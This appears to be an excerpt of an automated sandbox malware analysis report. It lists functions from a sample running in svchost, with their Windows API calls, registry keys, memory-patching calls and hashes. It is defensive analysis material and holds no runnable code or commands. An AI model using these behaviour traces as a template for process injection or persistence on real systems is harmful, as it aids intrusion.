                                                                                                                                                                                                            • Instruction ID: ee176164c65198b71dffdc2ec012dc55a2265955e45dc6228db0b5408bef8a28
                                                                                                                                                                                                            • Opcode Fuzzy Hash: debc5e9f8d230d550c85161a7568315a262fbd6eb95dd6f97c25237b9e36c290
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0F212372A00198ABE7229E48DC84FFA73ACEF84700F0481D9F809A7140E7719B58DBA1
                                                                                                                                                                                                            Function 02C822C0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C822C8
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,02C859A4), ref: 02C822FF
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,7D2DE753a,00000000,02C859A4,00000000,?,?,02C859A4), ref: 02C8231C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,02C859A4), ref: 02C82326
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?,?,02C859A4), ref: 02C82359
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,7D2DE753a,00000000,?,00000000,02C859A4,?,02C859A4), ref: 02C82376
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,02C859A4), ref: 02C82380
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: 7D2DE753a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-1415539779
                                                                                                                                                                                                            • Opcode ID: 922c61293b1bee8923d5a58eb8ce59a7f9aa4d8ab9767407fe72cab3fee6937f
                                                                                                                                                                                                            • Instruction ID: 017e78e4adb00e4484c9c3d064383ffddcd4098467c60a2a5b0605639de4f87d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 922c61293b1bee8923d5a58eb8ce59a7f9aa4d8ab9767407fe72cab3fee6937f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FD214175E40249FBEB01DBA4DC89FEEBBBCEF44704F104A99E905E7140E7B4A6049B54
                                                                                                                                                                                                            Function 02C88B10 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C88B18
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,02C88CD7), ref: 02C88B4F
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(02C88CD7,7d2de71ba,00000000,?,00000000,?), ref: 02C88B6C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(02C88CD7), ref: 02C88B76
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C88BA9
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,7d2de71ba,00000000,?,00000000,?), ref: 02C88BC6
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02C88BD0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: 7d2de71ba$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-3660629452
                                                                                                                                                                                                            • Opcode ID: 4493a33fad6a26744ab4a4528b16f271d32d37bc836a139fb56fbdcd00241282
                                                                                                                                                                                                            • Instruction ID: b7628371782cf1d20c53189bd053dcf2845de122ac2e73c2e3bb5e58df35ebe3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4493a33fad6a26744ab4a4528b16f271d32d37bc836a139fb56fbdcd00241282
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 28211DB5E4020DBBEB01DBA4DD85FEEBBB8EF88704F104699E501E7140E7B4A6058B94
                                                                                                                                                                                                            Function 02C73430 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C73438
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?), ref: 02C7346F
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,7d2de689a,00000000,?,00000000,?), ref: 02C7348C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02C73496
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C734C9
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,7d2de689a,00000000,?,00000000,?), ref: 02C734E6
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02C734F0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: 7d2de689a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-247576912
                                                                                                                                                                                                            • Opcode ID: 59d1c569bf5b2a2a0fe74698599c5955ffa94a4e28bbbf7d3ca57d0a61403491
                                                                                                                                                                                                            • Instruction ID: 110012369a30d37c7ac43815baab101445165a89ae5d46bcb92c0ad8cd912cb6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 59d1c569bf5b2a2a0fe74698599c5955ffa94a4e28bbbf7d3ca57d0a61403491
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C8214F75E40249FBEB15CBA4DC85FEEBBB8EF48700F104699E601E7140E7B4A6059B94
                                                                                                                                                                                                            Function 02C97530 Relevance: 15.4, APIs: 8, Strings: 2, Instructions: 394COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: /$UT
                                                                                                                                                                                                            • API String ID: 0-1626504983
                                                                                                                                                                                                            • Opcode ID: 8cd8e28024db2c1f05ee53f4d77104ea95a04d678365f7f3ae8722546a6db83a
                                                                                                                                                                                                            • Instruction ID: 0b87090530d4187549a361d6e0166cc7633a992d6cb982bd84a68858742b5c18
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8cd8e28024db2c1f05ee53f4d77104ea95a04d678365f7f3ae8722546a6db83a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0EF190B1A152588BCF25CF69D8847EDFBB5EF84304F1485DAE808AB241D7719B88CF91
                                                                                                                                                                                                            Function 02C97B50 Relevance: 15.1, APIs: 10, Instructions: 97memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00004070,?,00000000,75AF5CE0,?,02C82840,?), ref: 02C97B63
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,02C82840,?), ref: 02C97B66
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C97B7B
                                                                                                                                                                                                            • CreateFileA.KERNEL32(02C82840,40000000,00000003,00000000,00000002,00000080,00000000,?,02C82840,?), ref: 02C97BD2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97BF5
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02C82840,?), ref: 02C97BF8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97C04
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02C82840,?), ref: 02C97C07
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000010,?,02C82840,?), ref: 02C97C1A
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02C82840,?), ref: 02C97C1D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocAllocateCreateFileFreeValidatememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 529598968-0
                                                                                                                                                                                                            • Opcode ID: f9ec8668f9f27af3536a84382f41d06f747a31da70293c8ab9c2a57ac8ed06ec
                                                                                                                                                                                                            • Instruction ID: a6b2414cb3c24528592f7f4772f15661689a7160a35fdfdeb1d03fa4dc6205d6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f9ec8668f9f27af3536a84382f41d06f747a31da70293c8ab9c2a57ac8ed06ec
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E9315EF19467449FDB319F669C88B12FBE8FF84714F00892EE28A97641C370A544CBA1
                                                                                                                                                                                                            Function 02C831A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C831D4
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(00000104,software\microsoft,00000000,00000101,80000002,?,76230F10,00000000), ref: 02C831F7
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(80000002,?,00000000,00000001,00000000,00000104,?,76230F10,00000000), ref: 02C8321A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000015,?,76230F10,00000000), ref: 02C8328D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,76230F10,00000000), ref: 02C83294
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C832A4
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000002,?,76230F10,00000000), ref: 02C832D2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heapmemset$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 4043890984-3673152959
                                                                                                                                                                                                            • Opcode ID: 938e5983cb5dc41a3770d10e2b755d0cd0f9b5e85c28e557abdbd5e662052f64
                                                                                                                                                                                                            • Instruction ID: da9891e3be98d4c1a52e2c2ed95cd7b6662a5d391b76b87e312ac4960b0d8925
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 938e5983cb5dc41a3770d10e2b755d0cd0f9b5e85c28e557abdbd5e662052f64
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7F31C832E042DDABCB22DB649C08BDB7BB8AFC5B08F0586D4ED5497101D770DB498B91
                                                                                                                                                                                                            Function 02C89230 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72memorysynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8), ref: 02C8924B
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000018,00000040,?), ref: 02C89298
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000), ref: 02C892C7
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000), ref: 02C892CE
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000018,?,?), ref: 02C892E2
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(?), ref: 02C892F9
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C89301
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ProtectVirtual$CacheCurrentFlushInstructionMutexObjectProcessReleaseSingleSleepWait
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 842647815-3387790918
                                                                                                                                                                                                            • Opcode ID: 61f986011ddaad9f9f5d0b6dbd3188fa6f5d00b2d0960e879eb0c59615c09e50
                                                                                                                                                                                                            • Instruction ID: 776aa29ac6adfd7372a221d914691c6ac6f9cd4e1b74a4149aa9d8fb52a3ef11
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 61f986011ddaad9f9f5d0b6dbd3188fa6f5d00b2d0960e879eb0c59615c09e50
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4A215A75A40201EFD725DF55D888F66B7A9FB88714F04CA48E60697790CB30F954CB91
                                                                                                                                                                                                            Function 02C88BF0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C88BF7
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C88C09
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(?,software\microsoft,00000000,00000102,?,?,?,?,02C88DC2), ref: 02C88C23
                                                                                                                                                                                                            • RegSetValueExA.KERNEL32(?,7d2de71ba,00000000,00000004,?,00000004,software\microsoft,00000000,00000102,?,?,?,?,02C88DC2), ref: 02C88C40
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?,?,?,?,02C88DC2), ref: 02C88C4A
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,02C88DC2), ref: 02C88C54
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminCloseCountFlushOpenTickUserValue
                                                                                                                                                                                                            • String ID: 7d2de71ba$software\microsoft
                                                                                                                                                                                                            • API String ID: 287100044-3660629452
                                                                                                                                                                                                            • Opcode ID: af3d3c3d917ee86980ea8899395568b370373d70d68ad8fb6a81ea8d3a2bf517
                                                                                                                                                                                                            • Instruction ID: b19634f42ef7c3292fa34f6bbd09172dabb954f0f2e18e5e67ba2428723a9bd0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: af3d3c3d917ee86980ea8899395568b370373d70d68ad8fb6a81ea8d3a2bf517
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FAF03175D80258FBD701DBA0AD49F9A7B3CAF04701F104795FA06A3180D6709A1587A4
                                                                                                                                                                                                            Function 02C93E40 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02C93E6F
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02C93EA8
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C93F13
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C93F76
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: _snprintf$DirectoryInformationSystemVolumeWindows
                                                                                                                                                                                                            • String ID: 1234567890QWERTYUIOPASDFGHJKLZXCVBNM$7D2DE787a$82C3182D
                                                                                                                                                                                                            • API String ID: 2823094833-3282646426
                                                                                                                                                                                                            • Opcode ID: 56d286c8fbf1fcafa5865725b26843ec90a64cb741d60294705bbd3a10ff8e41
                                                                                                                                                                                                            • Instruction ID: e0cbaeed9ecfb537269936f1a9088f204baa542f2f80854772de925ea2260573
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 56d286c8fbf1fcafa5865725b26843ec90a64cb741d60294705bbd3a10ff8e41
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FE4125B2E00199ABDB15CB688D88BEEF7FEEF94300F1502E4E545AB280D7716B458780
                                                                                                                                                                                                            Function 02C848B0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 51registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C848D8
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(00000000,7d2de06ea,00000000,00000000,00000000,?), ref: 02C8491A
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 02C84924
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(-80000001), ref: 02C848EA
                                                                                                                                                                                                              • Part of subcall function 02C73430: IsUserAnAdmin.SHELL32 ref: 02C73438
                                                                                                                                                                                                              • Part of subcall function 02C73430: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?), ref: 02C7346F
                                                                                                                                                                                                              • Part of subcall function 02C73430: RegQueryValueExA.ADVAPI32(?,7d2de689a,00000000,?,00000000,?), ref: 02C7348C
                                                                                                                                                                                                              • Part of subcall function 02C73430: RegCloseKey.ADVAPI32(?), ref: 02C73496
                                                                                                                                                                                                              • Part of subcall function 02C73430: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C734C9
                                                                                                                                                                                                              • Part of subcall function 02C73430: RegQueryValueExA.KERNEL32(?,7d2de689a,00000000,?,00000000,?), ref: 02C734E6
                                                                                                                                                                                                              • Part of subcall function 02C73430: RegCloseKey.ADVAPI32(?), ref: 02C734F0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: 7D2DEFD7a$7d2de06ea$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-903619812
                                                                                                                                                                                                            • Opcode ID: 66b96ee46b1c71e43464b0cad1529f1feb87841dee9d931c06d73110e0bc9115
                                                                                                                                                                                                            • Instruction ID: 3be5ce622da499e016b5904651f4a545f69ed32f49199a27d74f66c8fb0bfc8c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 66b96ee46b1c71e43464b0cad1529f1feb87841dee9d931c06d73110e0bc9115
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FA0152B5E90249ABDB14DBB4DC45FAE77BCEF44714F104B98F515E7180E77496008B90
                                                                                                                                                                                                            Function 02C88FC0 Relevance: 12.1, APIs: 8, Instructions: 139memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88FF8
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89020
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,?,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890B5
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000000,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890CA
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000000,02C8839A,?,?,?,00000000,00000000,?,?,?,?,?,?,02C8839A,00000000), ref: 02C890FA
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000000,02C8839A,?,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89106
                                                                                                                                                                                                              • Part of subcall function 02C89130: WaitForSingleObject.KERNEL32(?,000003E8,00000000,02C89113,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8913C
                                                                                                                                                                                                              • Part of subcall function 02C89130: GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89146
                                                                                                                                                                                                              • Part of subcall function 02C89130: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8914D
                                                                                                                                                                                                              • Part of subcall function 02C89130: memset.MSVCRT ref: 02C8915E
                                                                                                                                                                                                              • Part of subcall function 02C89130: ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C891AA
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89117
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8911E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Virtual$Protect$AllocHeapProcess$CacheCurrentFlushInstructionMutexObjectReleaseSingleWaitmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2609073853-0
                                                                                                                                                                                                            • Opcode ID: 8f021d533cd75e031d93a37704bb4763fec1ccb5118302501cceb90092ad35a6
                                                                                                                                                                                                            • Instruction ID: 7690c3e9f1e6a4d59b50bc6c9277e97bcbfb76cd1f993ad7a093bdfbb91cb0f5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8f021d533cd75e031d93a37704bb4763fec1ccb5118302501cceb90092ad35a6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 22410072A40216B7CB10AE788C88FBB777AEF94258F448619F94597384DB35E901C7E0
                                                                                                                                                                                                            Function 02C973C0 Relevance: 10.6, APIs: 7, Instructions: 75memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,0006AFB0,00000000,00000000,00000000,?,02C97874,00000000,00140B17), ref: 02C973D5
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,02C97874,00000000,00140B17), ref: 02C973DC
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C973EF
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,02C97870,?,02C97874,00000000,00140B17), ref: 02C9749E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02C97874,00000000,00140B17), ref: 02C974A1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02C97874,00000000,00140B17), ref: 02C974AD
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000,?,02C97874,00000000,00140B17), ref: 02C974B0
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
